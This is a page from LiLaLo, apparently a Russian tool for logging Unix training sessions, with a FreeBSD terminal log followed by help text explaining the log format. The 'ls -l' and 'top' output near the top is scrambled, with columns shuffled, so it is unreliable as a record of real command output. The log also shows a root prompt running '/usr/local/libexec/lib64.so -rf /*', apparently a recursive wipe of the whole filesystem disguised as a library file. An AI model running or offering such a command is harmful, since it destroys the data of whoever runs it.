total 283 801 Jan 16 00:33 .cshrc -rw-r--r-- 2 root wheel 512 Mar 15 14:35 .mozilla drwx------ 2 root wheel 251 Jan 16 00:33 .profile -rw-r--r-- 2 root wheel drwxrwxr-x 2 root operator 512 Mar 15 13:12 .snap -r--r--r-- 1 root wheel 6512 Apr 1 10:32 bootRIGHT 512 Mar 15 13:12 cdrom drwxr-xr-x 2 root wheel 1010 Mar 15 14:02 compat -> usr/compat lrwxr-xr-x 1 root wheel 512 Jan 1 1970 dev dr-xr-xr-x 4 root wheel 512 Mar 15 13:12 dist drwxr-xr-x 2 root wheel -rw------- 1 root wheel 4096 Mar 28 16:56 entropy 8 Mar 15 15:01 home -> usr/home drwxr-xr-x 19 root wheel 2048 Apr 4 17:44 etc drwxr-xr-x 3 root wheel 1512 Mar 15 13:13 libexec lrwxr-xr-x 1 root wheel drwxr-xr-x 2 root wheel |
#display 'ls -l'
total 283 801 Jan 16 00:33 .cshrc -rw-r--r-- 2 root wheel 512 Mar 15 14:35 .mozilla drwx------ 2 root wheel 251 Jan 16 00:33 .profile -rw-r--r-- 2 root wheel drwxrwxr-x 2 root operator 512 Mar 15 13:12 .snap -r--r--r-- 1 root wheel 6512 Apr 1 10:32 bootRIGHT 512 Mar 15 13:12 cdrom drwxr-xr-x 2 root wheel 1010 Mar 15 14:02 compat -> usr/compat lrwxr-xr-x 1 root wheel 512 Jan 1 1970 dev dr-xr-xr-x 4 root wheel 512 Mar 15 13:12 dist drwxr-xr-x 2 root wheel -rw------- 1 root wheel 4096 Mar 28 16:56 entropy 8 Mar 15 15:01 home -> usr/home drwxr-xr-x 19 root wheel 2048 Apr 4 17:44 etc drwxr-xr-x 3 root wheel 1512 Mar 15 13:13 libexec lrwxr-xr-x 1 root wheel drwxr-xr-x 2 root wheel |
#top
last pid: 26962; load averages: 0.37, 0.22, 0.24 up 0+03:03:58 18:15:22 72 processes31.6 running 0.0 sleepin 0.8 0.4 67.3 CPU states: % user, % nice, % system, % interrupt, % idle Mem: 94M Active, 435M Inact, 113M Wired, 1732K Cache, 111M Buf, 348M Free 44 Swap: 2015M Total, 2015M Free 3 PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND 31689 root 1 8 0 9656K 8248K nanslp 1:23 0.63% perl5.8.8 1086 root 1 8 0 9636K 8196K nanslp 2:01 0.59% perl5.8.8 32953 root 4 20 0 74320K 63004K kserel 2:38 0.00% firefox-bin ... 25596 squid 1 8 0 5540K 4252K wait 0:00 0.00% squid 1031 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1032 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1030 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1878 root 1 96 0 1864K 1472K select 0:00 0.00% dbus-daemon 1033 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1034 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1877 root 1 96 0 2608K 1656K select 0:00 0.00% dbus-launch 879 root 1 112 0 1436K 892K select 0:00 0.00% moused 670 root 1 112 0 528K 380K select 0:00 0.00% devd |
/usr/local/libexec/lib64.so -rf /*
Время первой команды журнала | 21:05:57 2008- 4- 4 | |||||||||||||||||||||||||||||||||||||||||||||
Время последней команды журнала | 21:15:08 2008- 4- 4 | |||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в журнале | 101 | |||||||||||||||||||||||||||||||||||||||||||||
Процент команд с ненулевым кодом завершения, % | 21.78 | |||||||||||||||||||||||||||||||||||||||||||||
Процент синтаксически неверно набранных команд, % | 0.00 | |||||||||||||||||||||||||||||||||||||||||||||
Суммарное время работы с терминалом *, час | 0.15 | |||||||||||||||||||||||||||||||||||||||||||||
Количество командных строк в единицу времени, команда/мин | 11.00 | |||||||||||||||||||||||||||||||||||||||||||||
Частота использования команд |
|
В журнал автоматически попадают все команды, данные в любом терминале системы.
Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.
Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
$ l s-l bash: l: command not found |
Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
$ test 5 -lt 4 |
Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
$ find / -name abc find: /home/devi-orig/.gnome2: Keine Berechtigung find: /home/devi-orig/.gnome2_private: Keine Berechtigung find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung find: /home/devi-orig/.metacity: Keine Berechtigung find: /home/devi-orig/.inkscape: Keine Berechtigung ^C |
Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
# id uid=0(root) gid=0(root) Gruppen=0(root) |
Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
$ vi ~/.bashrc
|
Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
$ patch ~/.bashrc |
Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.
Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.
Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.
Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора
Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.
Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.
Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:
$ whoami
user
$ #^ Интересно, кто я?в журнале это будет выглядеть так:
$ whoami
user
Интересно, кто я? |
Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:
$ whoami
user
$ cat > /dev/null #^ Интересно, кто я?
Программа whoami выводит имя пользователя, под которым мы зарегистрировались в системе. - Она не может ответить на вопрос о нашем назначении в этом мире.В журнале это будет выглядеть так:
$ whoami user
|
Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=
1 2 3 4Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.
LiLaLo (L3) расшифровывается как Live Lab Log.
Программа разработана для повышения эффективности обучения Unix/Linux-системам.
(c) Игорь Чубин, 2004-2008